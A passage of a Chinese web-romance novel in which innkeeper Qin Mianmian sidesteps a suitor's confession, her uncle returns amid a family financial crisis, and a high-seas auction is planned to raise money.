比划着,就把秦绵绵往楼上房间推。 秦绵绵很是尴尬,躲开了朱七妹的手,摇摇头: “没事,他伤的不重,不用人照顾。” 朱七妹却歪歪头,有点探究地看着秦绵绵。 秦绵绵不适应与人这样近,往后躲了躲,谁料朱七妹却又凑上来。 在仔细研究过秦绵绵的表情之后,朱七妹得出一个结论: “你跟裴先生,吵架啦?” 吵架? 那倒没有。 非但没有吵架,情况还好的有点过分咧。 想到刚才屋里的一幕,秦绵绵的脸色又不自觉得不自在起来,朱七妹眼尖,一下子就捕捉到了她的细微变化。 她嘻嘻一笑,又往秦绵绵身边凑了凑,快速打着手语: “那就是害羞了?我看,你跟裴先生好事将近了吧,准备什么时候正式告诉我们呀!” 谁知这一句,却正说进秦绵绵的心里。 她嘴角微微一撇,转头看向了他处。 朱七妹不明所以,也跟着她的目光转。 谁料秦绵绵却忽然又轻轻叹口气,用一丝细不可闻的声音喃喃了一句: “可是那个家伙,到现在还没跟我正经表白过呢。” 朱七妹讶然,随即是满脸的不认同,飞速打了一句: “这怎么能行呢!这事交给我了,我去教育他!” 说着,撸起袖子就要往楼上走。 秦绵绵连忙拉住。 “唉,算了算了,这话你可别往外说。你快回去睡觉吧,小宝还等着你呢。” 说完不由分说,就把朱七妹给推回自己房间去了。 秦绵绵却不知道她俩的这段对话,还被第三个人听了去。 她将头发放到稳妥处,转身往二楼走,却在上到半截楼梯的时候犹豫住了。 只出来这么一会儿就回去,那人不知道又要出什么幺蛾子了。 只怕她要应付不过来。 想到这里,秦绵绵转头去了厨房,随便弄点什么吃的,也好拖延时间。 那家伙虽说是参加的宫宴,但肯定没吃好,皇帝的东西能有多好?肯定不及客栈里的粗茶淡饭。 秦绵绵这么想着,就开了火,正弄的热火朝天的时候,厨房的门外突然走来一个人。 这人也不进来,就倚在门框上,看秦绵绵做东西,许久,他才幽幽出声: “掌柜的知道我饿了么,这么晚了还专门来做吃的给我。” 秦绵绵不用回头,也知道这是谁。 毕竟惯常用这种戏谑口吻说话的,除了姚祁也没有别人了。 罗小胖走后,客栈没有了厨师,秦绵绵原本是想暂时招一个临时的,但姚祁突然自告奋勇,上了灶台,别说,还有模有样的。 于是姚祁这几天就成了临时厨师。 有时候秦绵绵半夜饿了,姚祁还会专门起来给她做东西吃,但秦绵绵给姚祁做东西,那是从来也没有过的事。 秦绵绵忙完手头的东西,才转头去看姚祁。 只见这人倚在门框上,脸上带着一丝若有似无的笑意,正望着她,目光幽幽,似乎包含了很多说不清道不明的意味,藏着很多秦绵绵并不清楚的心思。 但其实,他的心思,秦绵绵很清楚。 “抱歉,是我自己吃的哈,你要吃你自己做咯。” 说完,端着东西就往外走,然而却在经过姚祁身边的时候,被他拦住,一把将盘子夺了去。 他居高临下,深深望着她: “东西我不吃,但有几句话,我想跟你说。” 秦绵绵望着他,却见他平日戏谑的眼眸里,那股轻佻痞气早已消失殆尽,取而代之的是一望无底的深邃,而这深邃里,还包含着一些渴望,一些急切,还有一些……委屈? 秦绵绵暗暗咂了咂嘴。 早知道这样,就不跑到厨房里做东西了,姚祁这明显是有备而来,特意来厨房堵她的。 “我……” 对面,男人就要开口,秦绵绵立刻迅速做了一个噤声的手势:“不,别说。” 姚祁愣了愣:“掌柜的,我……” 秦绵绵又立刻提高了些声音:“真的,听我的,什么话都别说。我急着有事,你先让我过去。” 说着,就去他手里抢盘子。 姚祁有点急了,顺势将盘子往高处举了举。 秦绵绵也不示弱,直接蹦起来去抢。 这回姚祁是彻底急了,直接去握她的手,同时叫道:“绵绵!我这话在心里已经……” 秦绵绵暗道一声不好,下意识就想溜,东西也不打算要了。 然而,就在这千钧一发的时刻,眼看姚祁的手就要将秦绵绵的手握住,后方斜地里却突然有一只手伸了过来,挡在中间。 姚祁一握,没握住秦绵绵的手,反而将这只手紧紧握在了手心里。 等他意识到怎么回事,回过神来,转头一看,正撞上一双冷肃的眸子。 “姚先生,这是做什么呢?” 来的不是别人,正是裴应见。 姚祁顿时脸色一变——这人都不知道是什么时候来的,怎么突然就出现在这里了呢! 一股懊悔情绪涌上心头,姚祁很是烦闷。这家伙突然出现在这里,今天这话,他是无论如何也没办法对秦绵绵说了。 可恶,他是好不容易才得到的这个机会! 再想到在楼梯上秦绵绵跟朱七妹之间的对话,姚祁眼中眸光更冷。 看向裴应见的眼神也多了许多冷意。 这家伙看起来光风霁月的,怎么也是个怂蛋,到了如今,竟也还没跟绵绵表白过。 他早知道如此,早就跟绵绵剖白心意了,也不用等到今天。 一念至此,姚祁心里更是烦闷。 谁知对面这厮还要雪上加霜,只见裴应见望了他一会儿,忽而勾起一个冷冷的笑意: “姚先生握在下的手,还要握多久啊?这么亲密,莫不是想跟在下拜个把子?” 第185章 又被摆了一道 姚祁立刻收了手,甚至还恶心地往身上擦了擦。 裴应见眼眸中的冷意更甚。 只见他忽而抬手,顺势揽住了秦绵绵的肩头: “是不是给我做吃的去了,怎么这么久,让我好等。” “快走吧,不然我可要饿死了。” 秦绵绵看了看挫败不已的姚祁,又看看眼前这个满脸暗藏着得意的家伙,默默在心中叹了口气。 基于对姚祁的了解,她可太知道他刚才想说什么了,这也是她为什么一定要打断他的话的原因。 万一真让他说出告白的话来,不光她没办法回应不说,两人之间的关系也再也回不到从前了。 不管她是答应还是不答应,都会伤害到姚祁,而这种尴尬的关系,还不如她是他的恩人来得让人舒服。 不过,截胡了姚祁的告白,裴应见这个家伙也不用这么得意吧。 再说了,她刚才跟朱七妹抱怨的事,这会儿还让她耿耿于怀呢。 想到此处,秦绵绵颇有些气恼地挣脱开了他的手,把盘子从姚祁手里夺过来,塞进裴应见手里。 “好啊,饿了你就多吃点,都吃光,不许剩!” 裴应见望着盘子里这一堆黑乎乎的东西,顿时心中叫苦,可却说不出来。 唉,绵绵做的东西,哪怕是黑暗料理,也得吃下去啊。 这边,姚祁忍不住笑了一下,但一想到自己连吃着黑暗料理的资格都没有,就又笑不出来了。 一生气,撇下两人,自顾自走了。 等人走了,秦绵绵忽然低声道: “你怎么这么快就回来了?” 裴应见一愣:“你知道我刚才又回去了?” 秦绵绵微微蹙眉。 她也不知道自己是怎么知道的,但就是能感觉到。 明明她进厨房的时间也不久,按正常人来想,肯定会觉得这么短的时间,裴应见是会一直待在二楼房间里的。 但她就是有一种直觉,这家伙是又回了一趟大雍,然后又突然出现在这里的。 秦绵绵摇摇头:“我猜的。你来的匆忙,肯定还需要再回去善后一下。” 裴应见莞尔一笑,伸手刮了她的鼻子一下:“我们家绵绵就是聪明。” 秦绵绵却连忙往后一躲:“什么你们的我们的,我告诉你啊,今天这些东西必须都吃完,少耍赖!” 裴应见摇摇头,又苦又乐,但也只好老老实实跟着秦绵绵回房去了。 …… 大雍,皇宫。 热闹的宫宴早因为皇帝的遇刺而提前结束,没有来得及提前回去的文武百官纷纷赶来救驾,火把灯笼齐聚,四下灯火通明。 成群结队的大内侍卫被调了来,被皇帝命令一定要将整个宫中仔细搜查。 然而,搜查了快要一个时辰,却还是不见那个人的人影。 真是天大的奇事,裴应见那厮,竟然就在众目睽睽之下,消失不见了! 这说出去,谁能信! 可皇帝偏偏还不敢说出去,因为他还不想给这件事定性。 倘若他此刻直接断定刺客就是裴应见指使的,甚至裴应见就是要亲手行刺他,倒是能坐实他的罪状,可人是消失了,不是死了,按照裴应见那神出鬼没的脾性,万一突然又冒出来,那他可就说不清楚了。 那家伙吃了亏,就不会再让他有第二次瓮中捉鳖的机会。 到时候他万一说出些不该说的,他连捂他的嘴都困难。 可若是说裴应见是为了护驾而失踪的,那也不行,如果姓裴的真的死翘翘了,那岂不是便宜了他,还给他得了个好名声? 皇帝抽抽嘴角——他可是连一个虚名都不愿意给这个小畜生的。 因此,思来想去,皇帝决定避而不谈,只是一味的让人搜查而已。 然而,怕什么来什么,不一会儿,一个不速之客闯入皇宫,顿时让他头疼不已。 来的不是别人,却正是禁卫军统领巴树荣。 禁卫军麾下辖五千兵马,驻扎在城郊,职责乃是拱卫京城安全,作用十分重要。 情况紧急之时,可以直接调兵进京城,甚至进皇宫。 巴树荣出身武将世家,也是十分的骁勇善战,武功很高不说,兵法计谋也使的很好,战功不少。 可此时此刻,皇帝却十分后悔任命巴树荣做了这个禁卫军统领,不为别的,就因为巴树荣他是个十足的蠢货! 之前甘彦买通那个小丫头给裴应见府里放密信的事,本来是十成十的把握的,可偏偏就坏在了巴树荣手里。 这家伙搜到了密信竟然不直接拿回皇宫,反而听了裴应见那厮的蛊惑,把那信件当众念了出来。 这下可好,竟然念出了一封情书! 好好的通敌密信变成了情书,这是啪啪地打他这个皇帝的脸啊! 蠢货! 这要是换成一个机灵的,就会知道,不管密信之中是什么内容,都不能当场拆开看,要第一时间把人和密信都押进皇宫里来。 只要人到了皇帝手里,这密信上的东西,难道不是想让它是什么,它就是什么嘛! 皇帝每每想到此处,都要骂巴树荣一句蠢货,是以事发之后,巴树荣总想入宫请罪,皇帝都没搭理他。 甚至今晚这个关键时刻,他也没通知巴树荣,但谁知道这家伙还能这么大喇喇地闯进来,还一脸的焦急: “微臣护驾来迟,望皇上恕罪!” 皇帝连理都不想理他,可这家伙偏偏连看人脸色都看不懂,当着一众文武百官的面,直接把事情抖了个干净: “微臣正在外巡逻,忽遇重伤的镇国侯,他说陛下遇刺,他寡不敌众,只能先行逃走出来寻求救援,臣听了这话立刻就赶了进来,陛下,您没事吧?!” 文武百官顿时一片哗然。 皇宫大内铁桶一般的地方,裴应见是怎么跑出去的? 这么多大内侍卫他不调,偏偏跑出去找禁卫军来救驾,而且这么巧,就正好遇到了巴树荣? 巴树荣人在这里了,那裴应见呢?他们难道不应该在一起吗? 众多疑问,让众大臣忍不住议论纷纷。 而皇帝在这些议论声中,早已脸色铁青。 他甚至直接扯断了自己手里的串珠——可恶,竟然又被那姓裴的小畜生摆了一道! 还是当着文武百官的面! 第186章 有古怪 这个蠢货巴树荣,要不是当着这么多人的面,他简直想把手里的珠串扔在他的脸上! 但是他不能。 这件事坏就坏在,无论巴树荣做出了什么样让他生气的蠢事,他都不能怎么样。 因为巴家那是实打实的满门忠烈! 打从太祖打天下起,巴家就跟随左右,近百年来,巴家一共出过八位大将军,二十三位参将,子孙后代个个进军营,且大部分都战死沙场。 这样的忠烈之家,若是皇帝敢说怀疑他是跟裴应见里应外合想谋害皇帝,那不用等天亮,朝中御史就能当着他的面撞柱而死。 所以,今晚巴树荣贸然闯进宫,那必然就是来救驾的,而通知他来救驾的裴应见,自然也是个清白的忠臣了。 一想到此,皇帝简直更恨了。 姓裴的小畜生,这是早就算计好了,有预谋的拉上巴树荣为自己挡风啊。 而且只用一招,就能让他这个皇帝吃个哑巴亏。 “好,好!” 皇帝暗暗咬牙切齿一番,死死攥着拳头,指甲几乎要嵌进肉里。 他深吸一口气,强压下心头的怒火,脸上挤出一丝比哭还难看的笑容: “原来如此……镇国侯忠心可嘉,巴爱卿护驾有功,都辛苦了。” 他顿了顿,声音透着一股压抑的疲惫: “刺客之事,交由大理寺和刑部详查,务必尽快捉拿归案。朕乏了,都退下吧。” 众臣哪里还敢多待,纷纷行礼告退,偌大的皇宫很快便空旷下来。 只有李顺还小心翼翼地躬着身子,大气不敢出。 皇帝猛地一挥袖,将手中珠串砸落在地。 …… 客栈。 二楼房间里,秦绵绵正低头给裴应见“换药”。 说是换药,其实就是撕掉旧纱布,再贴上一块新的。 宫宴上裴应见并没有受伤,一些伤口不过是上次跟那个女杀手打斗时留下的旧伤,也已经好的差不多了。 然而这家伙却一反常态,日日装出一副虚弱不堪的模样。 这几日更是以此为借口,几乎是寸步不离地跟着秦绵绵。 不是这里“不舒服”,就是那里“使不上力”,总之是将病患的角色扮演得淋漓尽致。 秦绵绵心里明镜似的,却也懒得戳穿他。 两个人正黏腻着,忽然有人敲门,开门一看,不是别人,却是姚祁。 姚祁身上围着围裙,手里还拿着锅铲,一副大厨的模样。 但那颀长的身材,冷峻还略带痞气的五官,却一点都没有大厨的样子。 “裴先生这伤……还好的真是慢啊。” 姚祁已在门框上,打量了一下裴应见,慢条斯理讥讽出声。 裴应见也不示弱,立刻应声: “是啊,多谢姚先生关心。姚先生是来叫我们下去吃饭的吗?正好,我也有点饿了呢。” 说着,一只手搭上秦绵绵,扶着她站起了身。 还故意装作一副弱不禁风的样子,恨不得整个人都靠在秦绵绵身上。 秦绵绵歪头瞪了他一眼,想要推开他,但这人死沉死沉的,故意使力不肯离开,她也只好作罢。 只能略带尴尬地继续在姚祁面前和他这么亲密。 而对面,姚祁看到两人这幅样子,更是气不打一处来,哼了一声,转身就走。 这几天以来,他其实一直想找机会把那天晚上没说完的话跟秦绵绵说了。 可是这个姓裴的简直贼精贼精的,每时每刻都跟防贼一样防着他。 一天恨不得24小时就黏在秦绵绵身边,丝毫不给他单独跟秦绵绵相处的机会。 若不是男女有别,秦绵绵非要把他撵回自己的房间里去,他恨不得晚上睡觉都赖在秦绵绵的房间里! 姚祁好几次没有开的了口,就想手机上说,可又觉得手机上说不太正式,就这么拖来拖去,几天过去了,都没说出口。 饭桌上的气氛有点沉闷,不单是秦绵绵裴应见和姚祁三人之间的气氛有点古怪,还有罗小胖离开这么多天了,一点消息也没有,也让大伙儿担心不已。 叶子舟推推眼镜: “京城的同学回消息了,他说罗家的大公子确实是回京了,但是神龙见首不见尾,到现在还没见得着人,更别说说上话了。” 姚祁接口:“我找的人也过去看了,没见到人,我看他是被他父母关起来了。” 一直没开口的裴应见也幽幽道: “如果是正常回去的话,最起码也会报个平安,一点消息都没有,这不正常,可能不仅是关起来这么简单。” 秦绵绵沉默不语。 她自然也知道这不正常,单从那天罗小胖的表现她就能察觉得到了。 本来他是万万不肯跟罗正松回京的,即便是他母亲来了他也说不回去,可是在见到他母亲之后,不知道他想到了什么,突然就答应了。 而且走的速度之快,竟然连日常用品衣物什么都没收拾,直接就那么走了。 这里面一定有古怪。 可是罗小胖他到底在想些什么呢。 到底是什么原因,让他一定要这么快离开客栈不可? 然而,还没等秦绵绵想好如何去京城“营救”罗小胖的方案,客栈里又来了不速之客。 其实也不能算是不速之客,钱老先生突然打电话跟她说,要带着陈启明一起过来客栈住几天,让她帮忙安排安排。 秦绵绵嘴上答应了,但心中古怪更甚。 钱老先生还好说,姚祁接手了钱家产业之后,直接让自己的团队入驻了,钱老先生本来就不怎么管钱家的产业,这下更是彻底清闲,他是有时间到处旅旅游的。 可陈启明管着诺大一个连锁拍卖行,整天天南海北到处飞都飞不够,哪里有时间突然来游玩。 而且两个人就算游玩,国内外那么多好玩的地方不去,为什么偏偏要来他们这个小景区小客栈? 秦绵绵有理由相信,他们是冲着她来的。 具体是什么事,也只能来了再问。 而这一边,吃完饭收拾东西的时候,趁着厨房没人的当口,姜芙突然拽住了姚祁。 “那个,那个什么,我有件事想跟你……” 姚祁顿时警铃大作,一下子跳开好远。 姜芙顿时脸色一红: “你干什么这幅样子,搞得我好像想吃你豆腐一样!我是想……” 但没等她说完,姚祁电话突然响了,接起来听了两句,一向玩世不恭的姚祁突然脸色大变—— 第187章 要有大事发生 “你说什么?好,我立刻回去!” 姚祁说完,挂了电话,头也不回地走了。 姜芙愣了片刻,才顿足道:“什么嘛!小气鬼!不就是想借你点钱嘛,跑的那么快!” 转念一想,姜芙又难受了,实在是因为她想借的这笔钱可不是小数目,而且迫在眉睫,唯一能帮忙的就是姚祁了。 谁知道他连话都没听完就跑了,真是的。 姜芙犹豫了一下,要不要去找秦绵绵,但考虑到秦绵绵的钱大部分都拿来投资了,手头只怕没有这么多的余钱,她想来想去,决定还是先不跟秦绵绵开口。 然而想到这笔钱的缺口,想到家里愁云惨淡的情形,姜芙又顿时觉得一个头两个大。 为着这件事,姜芙这几天可谓是茶饭不思,吃饭的时候,就连朱七妹也看出了她的异常。 但是秦绵绵却没有注意到她,她刚安排好钱老先生和陈启明入住的事,就听到叶子舟回报说姚祁走了。 “回京城了?” “是的,走的特别急,只来得及让我转告你一声。” 秦绵绵皱起眉头。 其他人也很惊讶:“这怎么回事?一个两个都回京城了,还走的这么急?” 秦绵绵问:“他有说是跟罗小胖有关吗?” 叶子舟摇摇头:“他什么都没说,但是看那个样子,好像确实很着急,好像事情很严重一样……” 这下弄的气氛一下子凝重了。 秦绵绵拿手机给姚祁打电话,对面却给她挂了。过了一会儿,姚祁的短信回了过来: 【京中生意出了点问题,回京处理一下,不必挂念我。】 秦绵绵想了想,也就作罢,姚祁家大业大,总不能一直困在她这个小客栈里。 下午,钱老先生和陈启明到了,为了接待他们,客栈里还弄出了不小的动静,连赵立生都亲自来了。 不为别的,只因这俩人来的阵仗实在太大了,每个人都带了一堆保镖,光是解决这些保镖的住宿问题,就让景区里的大伙儿费了不少心思。 终于安顿好这些人,赵立生又悄悄把秦绵绵拉到一边,悄咪咪说道: “那啥,你四叔回来了,也说要上你这来看看,我刚才已经吩咐留一个房间了,你去机场接一下。” 秦绵绵眉头一跳:“他怎么也突然回来了?” 赵立生摇摇头:“他没说,可能就是回家看看吧。” 但是秦绵绵却知道肯定不是这样,她这个四叔,一向是个神龙见首不见尾的世外高人,自他上次离开海城,已经过去五年了。 这些年他行踪不定,甚至一度失联,无论大小年节,婚丧嫁娶,他是一律不会出现的,现在却也突然回来,出现在客栈,如果说没有别的事,秦绵绵绝不相信。 而四叔回来却不跟她联系,反而把信息告诉赵立生,再让赵立生转告给她,这其中的深意秦绵绵也能猜到一二,无非就是怕吓到她,或者怕她乱猜。 但她已经不再是当年那个需要人遮风挡雨的小女孩了。 秦绵绵当即跟赵立生要了航班信息,开了车去机场接人。 等到把人接回来的时候,踏进客栈,客栈里的气氛更加古怪了。 姜家四叔姜敬意归来的消息客栈众人已经知道了,再加上罗小胖和姚祁的离去,钱老先生和陈启明突然入住,再迟钝的人,也应该能预感到要有大事发生了。 众人都在门口迎接,钱老先生和陈启明最为激动,上前一左一右拉住姜敬意的手。 钱老先生感慨道: “小姜啊,这么多年没见,还是风采依旧!我老头儿还记得当年那件东西,要不是你替我掌眼,我可是要亏好几百万呐,这么多年了,你却连个说谢谢的机会都不给我,总是神出鬼没的……” 陈启明也道: “我也是受过姜先生恩惠的人,当年若不是姜先生赠我一卦,我早就走错路了,我们瀚海拍卖行,也不会有今天的规模啊……” 众人纷纷听得肃然起敬。 早就听闻海城姜家四爷是个奇才,他文不通武不会,却有着一身的杂七杂八的本事,而且通过这些奇奇怪怪的本事,还认识了十分庞大的人脉,姜家能走到今天不倒,除了祖上积德之外,也有他的一份功劳。 除了钱老先生、陈启明、秦绵绵和姜芙之外,其他人都是第一次见姜敬意。 打眼一看,却见这人长得简直毫无特点,既不高也不矮,也不胖也不瘦,不英俊也不难看,放到人堆里就找不到的那种。 要说有什么特点,那就是他好像没有表情的时候也自带三分笑意,模样虽然普通,但是浑身上下就是有股子世外高人的劲头儿,让人不敢小觑。 然后就是吃饭,因为这些人来的缘故,客栈已经不接待外客了,今天晚上没有外人。 席间推杯换盏自不必说,但姜芙却一直默默无言。 她其实自小就不喜欢这个不学无术的四叔,总是没有给过好脸色给他,但谁知道,如今家里遇上了困难,还得依靠这个四叔来救命。 姜芙扭扭捏捏又唉声叹气的模样终于引起了秦绵绵的注意,那边,姜敬意也放下筷子: “这里也没有外人,就别唉呀唉的了,有什么话说出来吧!” 姜芙一怔,见所有人的目光都望向自己,不由脸色一红,看向姜敬意的目光更像是抓住了救命稻草。 : “四叔!你既然都知道了,还让我说什么,还不赶快想想解决办法!对了,你既然已经回来了,肯定是已经有办法了,那你明天就跟我回老宅啊!” 谁料姜敬意却叹口气: “我知道是早就知道了,要不然我也不会回来,但是吧……我可也没有钱呀……所以这事儿,你还是得找绵绵帮忙。” 姜芙听得大跌眼镜:“你……怎么可能!” 连钱老先生和陈启明都这么尊敬的人,海城传奇人物姜家老四,竟然没有钱? 这说出去谁信? 姜敬意笑得坦坦荡荡:“不错我是赚钱快,但我花的更快啊。” 钱老先生和陈启明一听,都哈哈大笑起来。 两人转而问姜芙到底怎么个缺钱法,或许他们能帮得上忙。 秦绵绵却突然开口道:“您二位的好意我心领了,但是姜家的事情,还是我们自家人解决吧。” 转向姜芙:“说吧,家里到底出什么事了。” 姜芙撇撇嘴,终于扭捏开口: “我爸和大伯……被三叔做局了,亏了一大笔……” 第188章 公海拍卖会 听完姜芙的叙述,桌上好久没人出声。 所有人都露出一副震惊恶心的表情。 最后是叶子舟一拍桌子,怒道: “这也太过分了,这还是亲兄弟吗?!” 要知道叶子舟一向是温文尔雅的斯文学霸,能让他都这么生气,可见是非常过分了。 姜敬意嗤笑一声,没说话。 众人脸上的表情更难看了。 最后大家还是把目光都投向了秦绵绵。 但秦绵绵却只是微微一笑。 姜家上一代一共有兄弟四人,分别是老大姜立新,老二姜成宝,老三姜开元,老四姜敬意。 老大姜立新自幼体弱,所以这些年来家中生意上的事情从不过问。 老二姜成宝是个纨绔子弟,做生意那不行,玩的花样那可是多的很。 老三姜开元能力最强,因此家业都被他继承。 老四姜敬意虽然并不不学无术,但在生意上也没什么建树,家中的事也一概不过问。 原本一切都挺好的。 老三姜开元继承家业,扶持着其他几个兄弟,姜家蒸蒸日上。 年轻一代的老三家的女儿秦绵绵也很有能力,是姜家人一致认可的姜家继承人。 ——就连一向跟老三家不对付老二一家三口也都这么觉得。 但是自从爆出了真假千金事件,秦绵绵被认为是假千金被赶出了家门,真千金姜飞飞进了家门,一切都变了。 之后姜飞飞一直针对秦绵绵,发生了一系列的事,最终姜开元一家被秦绵绵赶出了海城。 被赶出海城的时候,姜开元夫妻还带走了姜家的大部分资产。 这边的大房和二房只能临危受命,整理了一下之前姜家的市场,慢慢的又把姜家的产业做了起来。 虽然说大房没什么经商天赋,二房又是个蠢货,但好歹姜芙是学好了,又有秦绵绵在背后支持。 因此最近一段时间姜家的生意是越来越有起色了。 然而,当时出事之后,姜飞飞本来被送到了国外,可是没多长时间她就又回来了,还一起参与了贾芊芊事件。 那个时候所有人就都觉得,这件事儿还没完。 果然姜家三房的这个作妖不就来了吗? 看姜芙扁着嘴不说话,秦绵绵笑了一下,问她: “你说了这么多,还没说到底被坑了多少钱呢?” 这不问还好,一问姜芙差点就哭出来了。 “快,快一千万……” 众人纷纷倒吸一口凉气。 到底是自家亲生的兄弟啊,姜开元可真舍得的下手。 这是要把其他人都逼上绝路啊。 除了姜敬意之外,只有秦绵绵没什么动容。 她只是又笑了一下,说: “怪不得看你这两天神不守舍的,这些钱不少,你应该没少到处借钱吧。” 姜芙这回干脆直接就哭了出来。 天杀的,她本来不想把这件事告诉秦绵绵的,她本来想跟姚祁借钱,看看能不能先堵上这个窟窿。 谁知道姚祁这个家伙竟然一声都不吭就跑了。 然后姜家四叔又回来了,最后这件事只能曝光。 秦绵绵的语气里略微有点儿责怪之意,姜芙扁着嘴: “我这不是怕你为难吗?我知道你也没钱……” 这时,钱老先生忽然插口: “一千万虽然不少,但也不算太多,老头儿我还有一点儿私房钱,不如先借给你们,应应急,姜家好歹也是我的世交了。” 陈启明也道: “不为别的,就为小姜和秦小丫头,我也可以拿出一些钱来帮你们应急的。” 一直没说话的赵立生也开口道: “哎呀,小姑娘家家的,别哭!你赵叔这里也还有一些私房钱,都给你,拿去应急!” 姜芙忍不住道:“赵叔你有多少钱?” 赵立生得意的伸出两个手指。 姜芙激动道: “二十万虽然不多,但是对于赵叔你来说已经很多了,我真的非常感谢赵叔……” 谁知道赵立生赧然一笑。 “不,不是,是200块钱……” 众人都是一愣,随即都笑了起来。 赵立生还一副十分正经的模样: “哎你们别嫌少啊,这可是我好不容易攒下来的私房钱呢!” 赵立生挺直了腰板,一脸“我很大方吧”的表情: “别客气,都是自家人!” 这一下,连姜芙都忍不住破涕为笑。 朱七妹也打着手语: “我卡里还有五千,准备给小宝报补习班的,先给你用!” 叶子舟推了推眼镜: “我这儿也还有一些,大概两三万,需要的话……” 众人七嘴八舌,这个几百,那个几千,甚至还有说要去银行取定期存款的,气氛倒是热烈起来。 可这些钱凑在一起,对于那一千万的巨大缺口,还是无异于杯水车薪。 秦绵绵抬手示意大家安静。 她看了看姜芙,语气平静: “大家的心意我们心领了,但这件事,不必麻烦各位。” 她顿了顿,目光扫过众人,最后落在了从刚才起就一直安静坐着,仿佛事不关己,却又隐隐透着掌控感的裴应见身上。 那一眼很轻,裴应见接收到她的目光,嘴角却几不可查地勾了一下,端起面前的茶杯,慢悠悠地喝了一口。 陈启明在商场摸爬滚打多年,早已是察言观色的老手。 他看看秦绵绵,又看看裴应见,再看看一直不说话的姜敬意,心里立刻有了谱。 “小秦丫头,你是不是有东西可以变现?不过快速变现一大笔钱,常规的路子怕是来不及,价格也未必理想。” 众人纷纷点头。 古董字画、珠宝玉石这些东西,想卖出好价钱,都需要时间和合适的买家,急着出手肯定要被压价。 陈启明接着说: “不过,我倒是知道一个门路。最近正好有一场规格极高的私人拍卖会,就在公海上的一艘游轮里举行。” “那里买家非富即贵,出手阔绰,只要东西够好,绝对能拍出天价,比市面上高出一大截都不稀奇。” “公海拍卖会?”姜芙眼睛一亮,随即又有些担忧,“那……安全吗?而且,什么样的东西才能上那种拍卖会?” “安全嘛,自然是有风险的,毕竟是在公海,鱼龙混杂。至于货,”陈启明看向裴应见,意有所指,“要求极高,寻常玩意儿可入不了他们的眼。必须是稀世珍品,来路还得干净。” 这话一出,桌上又安静下来。 第189章 得寸进尺 公海、风险、稀世珍品……这些词组合在一起,就透着一股不寻常的味道。 姜芙刚刚燃起的希望又有些摇曳。 一直没怎么说话的裴应见这时终于放下茶杯。 他抬眼扫过众人,慢条斯理地开口: “货,我们有一些,应该够资格。”他瞥了一眼秦绵绵,莞尔一笑,“至于公海,也没什么可怕的。” 那云淡风轻的样子,仿佛说的不是什么龙潭虎穴,而是去家门口的超市买瓶酱油。 姜敬意一直带着三分笑意的脸上,笑容似乎更深了些。 他意味深长地看了裴应见一眼。 秦绵绵则像是完全放下心来,立刻就对陈启明道:“那就麻烦陈先生帮忙联系了,我们越快越好。” …… 饭后,姜敬意笑眯眯地拉着秦绵绵: “来,绵绵,四叔好久没见你了,考较考较你这几年功夫有没有落下。” 说完,也不管秦绵绵同不同意,就将她带进了客栈后面一间僻静的库房,还顺手把门给关上了。 门外,裴应见脸色立刻沉了下来,踱步到门口,侧耳倾听。 库房隔音不错,只隐约听到里面似乎有拳脚碰撞和桌椅挪动的轻微声响。 裴应见眉心微蹙,不是说这位四叔不会武功吗? 这是什么声音? 叶子舟推了推眼镜,凑过来:“裴先生,别担心,姜先生恐怕只是跟掌柜的闹着玩呢。” 语气之中却略微有些揶揄。 裴应见看了他一眼——这个小书生,只怕是跟罗小胖和姚祁在一起待久了,让他们俩给带坏了。 赵立生也嘿嘿笑道: “就是,她四叔疼小秦丫头还来不及呢,怎么会伤着她。小裴,瞧你这紧张的样子,啧啧……” 朱七妹也比划着手语,也是让裴应见放宽心,但裴应见竟然在手语里也瞧出了揶揄他的口气。 裴应见瞪了他们一眼,没说话,但那眉头皱得更紧了,耳朵几乎要贴在门板上。 过了快一个小时的功夫,门终于开了。 姜敬意还是那副笑眯眯的样子走出来,拍了拍手,看向秦绵绵的眼神里多了几分赞许: “不错不错,没把四叔教你的那些杂七杂八的东西丢掉。” 秦绵绵气息略有些不稳,脸上微微泛红,瞪了姜敬意一眼,没接话。 裴应见本不想凑过去的,奈何秦绵绵却好像知道他心里想什么似的,悄悄走过来: “想什么呢!刚才那些响动,是四叔在考较我奇门遁甲!” 裴应见脸色一变,转头看向他处: “你四叔考较你,与我又有什么关系?” 却不料秦绵绵在其他人看不见的地方,猛地在他腰间软肉上轻轻一掐,裴应见疼的龇牙咧嘴的,嘴上却又笑起来。 这边刚切磋完,那边陈启明就找了过来,一脸郑重地问秦绵绵: “小秦丫头,公海拍卖会那边我已经打了招呼,初步意向是有了,不过你打算出手的是什么东西?我好提前跟那边沟通一下,看看是否符合他们的标准。” 秦绵绵面上不动声色,浅浅一笑: “陈先生放心,东西自然是配得上那场拍卖会的。不过现在还不方便拿出来,明天吧,明天我一定给您过目。” 陈启明见她如此笃定,虽然心中好奇,但也不好再追问,只点了点头:“好,那我等你消息。” 送走了陈启明,秦绵绵立刻转身回房,顺手把门一关,当然没忘了把裴应见拽进来。 “你打算让我拿东西上拍卖会?”秦绵绵也不跟他废话,直接摊手。 裴应见闲适地往椅子上一靠,嘴角噙着笑: “哦?我以为秦老板说的那么笃定,是有自己有好东西呢,弄半天是没有呀。” 秦绵绵作势又要往他腰间软肉上掐,裴应见吓得一下子跳出好远。 秦绵绵冷笑:“现在有东西了吗?” “东西……自然是有的,不过秦老板打算拿什么来换?” 秦绵绵似乎知道他会来这套,磨了磨牙:“你想要什么?” 裴应见伸出一根手指,点了点自己的脸颊,意思不言而喻。 秦绵绵脸颊微热,这家伙真是越来越得寸进尺了! 但眼下情况紧急,她也顾不得许多,只能快步上前,在他脸上飞快地啄了一下,蜻蜓点水一般。 “好了吧?”她退开一步,有点不自在地别开眼。 裴应见摸了摸被亲过的地方,似乎不太满意这敷衍的态度,但也没再多说什么,只是那眼底的笑意更深了。 “等等我,今晚一定拿给你。”他站起身,丢下两个字。 当晚夜深人静,裴应见的身影悄无声息地从房间里消失了。 回到大雍,借着夜色掩护,裴应见身形快如鬼魅,竟是直接回了大皇宫。 他目标明确——皇帝的私库。 …… 而这一边,秦绵绵等大家伙都歇下后,才打开手机给姜芙发短信: 【说吧,到底被坑了多少钱?】 姜芙那边似乎是很惊讶秦绵绵竟然这么聪明,能猜出她在饭桌上说的不是确切数字。 她发来一个哭哭的表情: 【我错了,不该瞒着你。】 秦绵绵似乎不是很有耐心,只问到底是多少。 姜芙那边却似乎很犹豫,输入了很久,才发来一句话: 【加个0吧。】 秦绵绵:…… 姜芙:【是不是太多了……你没有对不对……咱家是不是要破产了……呜呜呜……】 秦绵绵:【睡吧。】 姜芙再给她发信息,她再没回复了。 